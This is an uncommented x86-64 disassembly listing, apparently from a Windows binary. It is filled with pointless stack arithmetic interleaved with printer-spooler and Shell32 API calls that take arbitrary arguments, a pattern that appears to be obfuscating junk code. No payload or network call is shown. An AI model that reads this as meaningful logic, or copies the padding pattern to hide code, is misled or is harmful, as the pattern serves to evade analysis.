mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x570], al
mov dword [rsp + 0x20], 0xf7
lea r9, [rsp + 0x75bc]
mov r8d, 0xc9
mov edx, 0xd9
mov rcx, qword [rsp + 0x10590]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x80f0], eax
movzx eax, byte [rsp + 0xc0]
mov rcx, qword [rsp + 0x10638]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x56d], al
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14021139c], ax
movzx eax, byte [rsp + 0x19c]
mov rcx, qword [rsp + 0x102f8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x108], al
movsx eax, word [0x1402113c0]
movsx ecx, word [rsp + 0x2928]
sub eax, ecx
mov word [rsp + 0x1fe8], ax
jmp 0x1401f3008
movsx eax, byte [0x140211039]
mov rcx, qword [rsp + 0x10438]
movsx ecx, byte [rcx]
add eax, ecx
movsx ecx, byte [rsp + 0x56b]
mov dword [rsp + 0xc998], ecx
movsx edx, byte [rsp + 0x1c3]
movzx ecx, dl
mov edx, dword [rsp + 0xc998]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jg 0x1401f3008
movzx eax, byte [rsp + 0x57b]
mov rcx, qword [rsp + 0x102f8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x14021103a], al
movsx eax, word [rsp + 0x2928]
movsx ecx, word [rsp + 0x2940]
sar eax, cl
mov word [rsp + 0x2904], ax
mov rax, qword [rsp + 0x10600]
mov rax, qword [rax]
mov rcx, qword [0x140221d90]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xef38], rax
mov rax, qword [rsp + 0x10618]
mov rcx, qword [rsp + 0xd638]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf70], rax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [0x140221d8c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7fb8], eax
mov rax, qword [rsp + 0x10208]
mov edx, dword [rax]
movzx ecx, word [rsp + 0x295c]
call fcn.1401f4e00
mov dword [rsp + 0x20], PathYetAnotherMakeUniqueName
lea r9, [rsp + 0x10660]
mov r8d, ILGetNext
mov edx, reloc.SHELL32.dll_ILIsParent
mov rcx, qword [rsp + 0x106b8]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x7fb4], eax
movzx ecx, word [rsp + 0x290c]
call fcn.1401f4e90
jmp 0x1401f3143
lea rcx, [rsp + 0x105e8]
call qword [sym.imp.SHELL32.dll_ILGetNext]
mov qword [rsp + 0x23b78], rax
mov rax, qword [rsp + 0x105a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x28f0]
sub eax, ecx
mov word [rsp + 0x2708], ax
mov rax, qword [rsp + 0x10388]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x108]
add eax, ecx
mov byte [rsp + 0x18b], al
mov rax, qword [rsp + 0x10540]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x28e4]
sub eax, ecx
mov word [0x1402113c0], ax
mov rax, qword [rsp + 0x10358]
mov rcx, qword [rsp + 0x10560]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x105a0], rax
mov rax, qword [rsp + 0x10520]
mov rax, qword [rax]
mov rcx, qword [0x140221d90]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10348], rax
lea rcx, [rsp + 0x102c0]
call qword [sym.imp.SHELL32.dll_ILFindLastID]
mov qword [rsp + 0x23b80], rax
mov rax, qword [rsp + 0x10538]
mov qword [rsp + 0x20], rax
mov rax, qword [0x140221d98]
movzx r9d, byte [rax]
movzx r8d, byte [rsp + 0x56b]
mov rdx, qword [rsp + 0x10500]
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rax]
call fcn.1401f4f00
mov r9d, PathMakeUniqueName
lea r8, [rsp + 0x10568]
mov edx, 0xfe
mov rcx, qword [rsp + 0x10498]
call sub.WINSPOOL.DRV_SetPrinterW
mov dword [rsp + 0x7f88], eax
mov rax, qword [0x1402113b0]
mov rcx, qword [rsp + 0x10218]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x101e0], rax
mov rax, qword [rsp + 0x103b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x787c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x70c8], eax
mov eax, dword [rsp + 0x7f8c]
mov ecx, dword [rsp + 0x80a4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fb8], eax
mov rax, qword [rsp + 0x105d0]
mov rcx, qword [rsp + 0x10500]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x105d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x10540]
movzx r9d, word [rax]
movzx r8d, word [rsp + 0x1a90]
mov rax, qword [rsp + 0x10540]
movzx edx, word [rax]
movzx ecx, word [rsp + 0x2904]
call fcn.1401f4d00
movsx eax, word [rsp + 0x28dc]
movsx ecx, word [rsp + 0x2908]
and eax, ecx
mov word [rsp + 0x1d1c], ax
mov rax, qword [rsp + 0x103b0]
mov ecx, dword [rsp + 0x80e4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8100], eax
mov rax, qword [rsp + 0x105e8]
mov rcx, qword [rsp + 0x105f8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x103a8], rax
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7f54]
shl eax, cl
mov dword [rsp + 0x6a90], eax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2708], ax
mov rax, qword [rsp + 0x102f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x183]
sar eax, cl
mov rcx, qword [0x140221d98]
mov byte [rcx], al
lea rcx, [rsp + 0x10688]
call qword [sym.imp.SHELL32.dll_SHGetInstanceExplorer]
mov dword [rsp + 0x802c], eax
mov rax, qword [rsp + 0x10558]
mov qword [rsp + 0x20], rax
movzx r9d, byte [rsp + 0x575]
mov rax, qword [rsp + 0x10410]
movzx r8d, byte [rax]
mov rdx, qword [0x1402113a0]
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rax]
call fcn.1401f4f00
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x293c]
sub eax, ecx
mov word [rsp + 0x1eac], ax
mov rax, qword [0x140221d78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1402113c0], ax
movsx eax, byte [rsp + 0x572]
mov rcx, qword [rsp + 0x10568]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1c3], al
lea rax, [rsp + 0x102a0]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x101e0]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x84
lea rax, [rsp + 0x102c0]
mov qword [rsp + 0x20], rax
mov r9d, 0xd2
mov r8d, 0xd2
mov edx, 0xea
mov rcx, qword [rsp + 0x10590]
call sub.WINSPOOL.DRV_EnumJobsW
mov dword [rsp + 0x817c], eax
movzx eax, byte [rsp + 0x56f]
mov rcx, qword [0x140221d98]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x57c], al
mov eax, dword [rsp + 0x7f8c]
mov ecx, dword [rsp + 0x80b8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x10208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x10358]
mov rax, qword [rax]
mov rcx, qword [0x1402113b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10218], rax
mov rax, qword [rsp + 0x105a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402113c4], ax
movsx eax, word [rsp + 0x2920]
mov rcx, qword [0x140221d78]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2928], ax
mov dword [rsp + 0x20], SHSetInstanceExplorer
lea r9, [rsp + 0x102c0]
mov r8d, ILRemoveLastID
mov rdx, qword [rsp + 0x104d8]
mov rcx, qword [rsp + 0x10518]
call sub.WINSPOOL.DRV_SetPrinterDataW
mov dword [rsp + 0x7fb8], eax
jmp 0x1401f35b1
movsx eax, word [rsp + 0x291c]
mov rcx, qword [rsp + 0x10258]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1402113c0], ax
mov rax, qword [rsp + 0x10438]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x10568]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x56b], al
movzx eax, byte [0x14021103b]
mov rcx, qword [rsp + 0x102f8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x577], al
mov rax, qword [rsp + 0x10348]
mov rcx, qword [rsp + 0x10460]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10560]
mov qword [rcx], rax
mov rax, qword [rsp + 0x103b0]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x787c]
mov r8d, dword [rsp + 0x787c]
mov edx, dword [rsp + 0x80d4]
mov rax, qword [rsp + 0x104e8]
mov ecx, dword [rax]
call fcn.1401f4cc0
lea rdx, [rsp + 0x28690]
mov ecx, 0x8f
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [rsp + 0x817c], eax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1a90]
sub eax, ecx
mov word [rsp + 0x1d1c], ax
mov rax, qword [rsp + 0x103b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7d50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7acc], eax
mov rax, qword [rsp + 0x102d8]
mov rcx, qword [rsp + 0x10400]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xda48], rax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x806c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7f8c], eax
mov rax, qword [rsp + 0x10218]
mov rcx, qword [rsp + 0x102a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xe6b8], rax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x733c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x10208]
mov dword [rcx], eax
lea rax, [rsp + 0x10568]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x56b]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x1c
lea r9, [rsp + 0x10218]
mov r8d, 0x92
mov rdx, qword [rsp + 0x23b88]
mov ecx, 0xda
call sub.WINSPOOL.DRV_EnumPrintersW
mov dword [rsp + 0x7fb4], eax
movzx ecx, word [rsp + 0x28d8]
call fcn.1401f4e90
mov rax, qword [rsp + 0x102d8]
mov rcx, qword [rsp + 0x10400]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x10468], rax
mov eax, dword [rsp + 0x80d4]
movzx ecx, al
mov eax, dword [rsp + 0x7fa8]
sar eax, cl
mov dword [rsp + 0x787c], eax
movzx eax, word [rsp + 0x2694]
movzx ecx, word [0x1402113bc]
or eax, ecx
mov word [rsp + 0x1f28], ax
lea rax, [rsp + 0x10438]
mov qword [rsp + 0x20], rax
mov r9d, 0x8c
mov r8, qword [rsp + 0x104d0]
mov rdx, qword [rsp + 0x239d0]
mov rcx, qword [rsp + 0x10590]
call sub.WINSPOOL.DRV_EnumPrinterKeyW
mov dword [rsp + 0x80a4], eax
movsx eax, word [rsp + 0x2904]
movsx ecx, word [rsp + 0x2920]
and eax, ecx
mov word [rsp + 0x291c], ax
movzx eax, word [rsp + 0x2708]
movzx ecx, word [rsp + 0x2914]
shl eax, cl
mov word [rsp + 0x2694], ax
movzx eax, byte [rsp + 0x570]
movzx ecx, byte [rsp + 0x2ff]
sar eax, cl
mov byte [rsp + 0x183], al
mov eax, dword [rsp + 0x7f70]
mov ecx, dword [rsp + 0x8050]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7d50], eax
mov eax, dword [rsp + 0x7fb8]
mov ecx, dword [rsp + 0x809c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x806c], eax
mov r9, qword [rsp + 0x10898]
mov r8, qword [rsp + 0x10330]
mov rdx, qword [rsp + 0x104d0]
mov rcx, qword [rsp + 0x10328]
call qword [sym.imp.SHELL32.dll_ShellAboutW]
mov dword [rsp + 0x80e0], eax
mov rax, qword [rsp + 0x10400]
mov rcx, qword [rsp + 0x10538]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x10400]
mov qword [rcx], rax
mov rax, qword [rsp + 0x10358]
mov rcx, qword [rsp + 0x10560]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x10218], rax
lea rax, [rsp + 0x101c8]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x10328]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
lea r9, [rsp + 0x7f70]
mov r8d, 0x4f
mov rdx, qword [rsp + 0x10510]
mov ecx, 0xb6
call sub.WINSPOOL.DRV_EnumPrintersW
mov dword [rsp + 0x808c], eax
mov eax, dword [rsp + 0x8078]
mov ecx, dword [rsp + 0x8050]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f70], eax
mov rax, qword [rsp + 0x102d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x101c8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x10468], rax
movsx eax, byte [rsp + 0x56b]
movsx ecx, byte [rsp + 0x573]
sar eax, cl
mov byte [rsp + 0x572], al
mov eax, dword [rsp + 0x7f4c]
mov rcx, qword [rsp + 0x10208]
mov qword [rsp + 0x23b90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x23b90]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x8090], eax
movzx eax, byte [rsp + 0x56f]
movzx ecx, byte [rsp + 0x578]
and eax, ecx
mov byte [rsp + 0x574], al
mov rax, qword [rsp + 0x10210]
mov r8d, dword [rax]
mov edx, dword [rsp + 0x80b8]
movzx ecx, word [0x140211390]
call fcn.1401f4f90
movzx eax, byte [rsp + 0x571]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x140221d98]
mov byte [rcx], al
lea rcx, [rsp + 0x23bc0]
call qword [sym.imp.SHELL32.dll_ILFindLastID]
mov qword [rsp + 0x23aa8], rax
jmp 0x1401f3979
movzx eax, word [rsp + 0x14c4]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140221d82], ax
mov rax, qword [rsp + 0xcdb8]
mov rcx, qword [rsp + 0x10310]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10440]
mov qword [rcx], rax
mov rax, qword [rsp + 0x10520]
mov rcx, qword [rsp + 0xd2f0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x10460], rax
movsx eax, word [rsp + 0x2910]
mov rcx, qword [rsp + 0x10540]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b14], ax
movzx ecx, word [rsp + 0x2694]
call fcn.1401f4e90
lea rax, [rsp + 0x56b]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xd0
lea r9, [rsp + 0x102c0]
lea r8, [rsp + 0x10360]
mov rdx, qword [rsp + 0x102e0]
mov rcx, qword [rsp + 0x10360]
call sub.WINSPOOL.DRV_GetPrinterDataW
mov dword [rsp + 0x80b8], eax
mov rax, qword [rsp + 0x101d0]
mov rcx, qword [rsp + 0x10210]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7acc], eax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f4c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x80a4], eax
mov rax, qword [rsp + 0x103a8]
mov rcx, qword [0x1402113a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xda48], rax
movzx eax, byte [rsp + 0x575]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x576], al
mov rax, qword [rsp + 0x10540]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d1c]
sub eax, ecx
mov word [rsp + 0x2904], ax
lea rax, [rsp + 0x102e8]
mov qword [rsp + 0x20], rax
mov r9d, 0x3b
lea r8, [rsp + 0x10358]
lea rdx, [rsp + 0x10500]
mov rcx, qword [rsp + 0x10690]
call qword [sym.imp.SHELL32.dll_SHDoDragDrop]
mov dword [rsp + 0x8124], eax
mov r8d, dword [rsp + 0x7d50]
mov rax, qword [rsp + 0x10208]
mov edx, dword [rax]
mov rax, qword [rsp + 0x101f0]
movzx ecx, word [rax]
call fcn.1401f4f90
jmp 0x1401f3ac6
mov r8d, 1
lea rdx, [rsp + 0x23bc0]
lea rcx, [rsp + 0x103a8]
call qword [sym.imp.SHELL32.dll_ILIsParent]
mov dword [rsp + 0x817c], eax
mov dword [rsp + 0x28], ILCreateFromPathW
lea rax, [rsp + 0x10220]
mov qword [rsp + 0x20], rax
mov r9d, PathMakeUniqueName
mov r8, qword [rsp + 0x10510]
mov rdx, qword [rsp + 0x10490]
mov rcx, qword [rsp + 0x10590]
call sub.WINSPOOL.DRV_SetPrinterDataExW
mov dword [rsp + 0x80b8], eax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [0x140221d8c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x809c], eax
mov rax, qword [rsp + 0x103a8]
mov rcx, qword [rsp + 0x104b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x101c8], rax
movzx eax, byte [rsp + 0x576]
mov rcx, qword [0x140221d98]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x574], al
movzx eax, word [rsp + 0x28f0]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140211390], ax
mov rax, qword [rsp + 0x10520]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xef38]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x101e0], rax
mov eax, dword [rsp + 0x7f70]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x104e8]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x104e8]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x10208]
mov edx, dword [rax]
mov rax, qword [rsp + 0x10210]
mov ecx, dword [rax]
call fcn.1401f4d80
jmp 0x1401f3ca3
lea rax, [rsp + 0x10298]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x10468]
mov qword [rsp + 0x20], rax
mov r9d, 0xf7
lea r8, [rsp + 0x573]
mov edx, 0xea
mov rcx, qword [rsp + 0x10430]
call sub.WINSPOOL.DRV_EnumFormsW
mov dword [rsp + 0x7fd4], eax
movzx eax, word [rsp + 0x290c]
movzx ecx, word [rsp + 0x2708]
sub eax, ecx
mov word [rsp + 0x2694], ax
mov rax, qword [rsp + 0x10358]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe6b8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xd2f0], rax
movsx eax, word [rsp + 0x2904]
movsx ecx, word [rsp + 0x2908]
sar eax, cl
mov word [rsp + 0x2920], ax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x8078]
shl eax, cl
mov rcx, qword [rsp + 0x104e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x10208]
mov edx, dword [rax]
mov rax, qword [rsp + 0x101f0]
movzx ecx, word [rax]
call fcn.1401f4e00
mov rax, qword [0x1402113a0]
mov qword [rsp + 0x20], rax
movzx r9d, byte [rsp + 0x183]
movzx r8d, byte [rsp + 0x1c3]
mov rdx, qword [rsp + 0x10500]
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rax]
call fcn.1401f4f00
jmp 0x1401f3e1c
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2694]
sub eax, ecx
mov word [rsp + 0x290c], ax
movzx eax, word [rsp + 0x2708]
movzx ecx, word [rsp + 0x1f28]
add eax, ecx
mov word [rsp + 0x28fc], ax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2920], ax
mov dword [rsp + 0x20], 0xa7
lea r9, [rsp + 0x572]
mov r8d, 0x6b
mov rdx, qword [rsp + 0x10800]
mov rcx, qword [rsp + 0x10360]
call sub.WINSPOOL.DRV_SetPrinterDataW
mov dword [rsp + 0x80d8], eax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
mov rcx, qword [0x140221d98]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x571], al
mov rax, qword [rsp + 0x103b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fcc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7acc], eax
mov rax, qword [rsp + 0x10408]
mov rcx, qword [rsp + 0x104b0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x10228], rax
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov dword [rsp + 0x80d8], eax
mov rax, qword [rsp + 0x10358]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10520]
mov qword [rsp + 0x23b98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x23b98]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xd638], rax
movsx eax, word [rsp + 0x28f8]
movsx ecx, word [rsp + 0x291c]
xor eax, ecx
mov word [0x140221d84], ax
lea r9, [rsp + 0x101f0]
lea r8, [rsp + 0x10328]
mov rdx, qword [rsp + 0x10688]
lea rcx, [rsp + 0x10258]
call qword [sym.imp.SHELL32.dll_SHBindToParent]
mov dword [rsp + 0x8124], eax
mov rax, qword [rsp + 0x10388]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x571], al
movsx eax, byte [rsp + 0x1c3]
mov rcx, qword [rsp + 0x10438]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x573], al
mov rax, qword [rsp + 0x104b0]
mov rcx, qword [rsp + 0x103a8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x10228], rax
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7f54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x806c], eax
mov rax, qword [rsp + 0x104e8]
mov ecx, dword [rsp + 0x7f70]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7d50], eax
mov rax, qword [0x140221d98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x18b]
sub eax, ecx
mov rcx, qword [0x140221d98]
mov byte [rcx], al
mov r8, qword [rsp + 0x10510]
mov rdx, qword [rsp + 0x107b8]
mov rcx, qword [rsp + 0x10428]
call sub.WINSPOOL.DRV_ConfigurePortW
mov dword [rsp + 0x817c], eax
mov eax, dword [rsp + 0x7fcc]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x103b0]
mov r9d, dword [rax]
mov r8d, dword [rsp + 0x7acc]
mov rax, qword [rsp + 0x10208]
mov edx, dword [rax]
mov rax, qword [rsp + 0x103b0]
mov ecx, dword [rax]
call fcn.1401f4d80
movsx eax, word [rsp + 0x1d1c]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1402113b8], ax
mov rax, qword [rsp + 0xd638]
mov rcx, qword [rsp + 0x10358]
mov qword [rsp + 0x23ba0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x23ba0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xef38], rax
lea r8, [rsp + 0x10388]
mov rdx, qword [rsp + 0x10510]
mov rcx, qword [rsp + 0x10360]
call qword [sym.imp.USERENV.dll_GetUserProfileDirectoryW]
mov dword [rsp + 0x7f88], eax
mov edx, dword [0x140211394]
movzx ecx, word [rsp + 0x28f0]
call fcn.1401f4e00
mov rax, qword [rsp + 0xef38]
mov rcx, qword [rsp + 0x10310]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd2f0], rax
mov rax, qword [rsp + 0x10388]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x102f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x183], al
mov rax, qword [rsp + 0x104e8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7acc]
sar eax, cl
mov dword [rsp + 0x8040], eax
lea r9, [rsp + 0x1c3]
mov r8d, 0xcc
mov rdx, qword [rsp + 0x10330]
mov rcx, qword [rsp + 0x105d8]
call sub.WINSPOOL.DRV_SetPortW
mov dword [rsp + 0x7fd4], eax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x6a90]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x8090], eax
mov rax, qword [rsp + 0x10408]
mov rcx, qword [rsp + 0x102d8]
mov qword [rsp + 0x23ba8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x23ba8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x10400]
mov qword [rcx], rax
jmp 0x1401f4196
mov eax, dword [rsp + 0x8040]
mov ecx, dword [rsp + 0x7f70]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fcc], eax
mov rax, qword [rsp + 0x102d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10400]
mov qword [rsp + 0x23bb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x23bb0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xda48], rax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7fb8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8080], eax
mov dword [rsp + 0x20], 0x6d
lea r9, [rsp + 0x101d0]
mov r8d, SHSetInstanceExplorer
mov edx, SHSetInstanceExplorer
mov rcx, qword [rsp + 0x10420]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x80b0], eax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1402113bc], ax
movzx eax, byte [rsp + 0x575]
mov rcx, qword [rsp + 0x10388]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x19c], al
movsx eax, word [0x140221d84]
movsx ecx, word [rsp + 0x2904]
sub eax, ecx
mov word [rsp + 0x2908], ax
movsx eax, word [rsp + 0x291c]
movsx ecx, word [rsp + 0x28e4]
sub eax, ecx
mov word [rsp + 0x2910], ax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x28d8]
and eax, ecx
mov word [0x14021139c], ax
mov rax, qword [rsp + 0x10440]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcf70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x101e0], rax
mov rax, qword [rsp + 0x10348]
mov rcx, qword [rsp + 0xef38]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10310], rax
mov rax, qword [rsp + 0x10218]
mov rcx, qword [rsp + 0x10310]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xe6b8], rax
movsx eax, word [rsp + 0x2910]
movsx ecx, word [rsp + 0x1b14]
sub eax, ecx
mov word [rsp + 0x2904], ax
movsx eax, byte [0x140211038]
movsx ecx, byte [rsp + 0x56b]
sar eax, cl
mov rcx, qword [rsp + 0x10438]
mov byte [rcx], al
lea r9, [rsp + 0x10498]
mov r8d, 0xd7
mov rdx, qword [rsp + 0x10800]
mov rcx, qword [rsp + 0x10490]
call sub.WINSPOOL.DRV_SetPortW
mov dword [rsp + 0x7fd4], eax
movzx eax, byte [rsp + 0x575]
movzx ecx, byte [rsp + 0x18b]
and eax, ecx
mov byte [0x140221da0], al
movzx eax, word [rsp + 0x2914]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x28fc], ax
mov rax, qword [rsp + 0x103d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2900]
xor eax, ecx
mov word [rsp + 0x1d1c], ax
mov rax, qword [rsp + 0x10358]
mov rcx, qword [rsp + 0x10440]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xe6b8], rax
mov r8d, dword [rsp + 0x8040]
mov edx, dword [rsp + 0x7f4c]
movzx ecx, word [0x14021139c]
call fcn.1401f4f90
mov rax, qword [rsp + 0x10210]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x103b0]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x103b0]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x10210]
mov edx, dword [rax]
mov rax, qword [rsp + 0x101d0]
mov ecx, dword [rax]
call fcn.1401f4cc0
mov rax, qword [rsp + 0x10440]
mov rcx, qword [rsp + 0x10218]
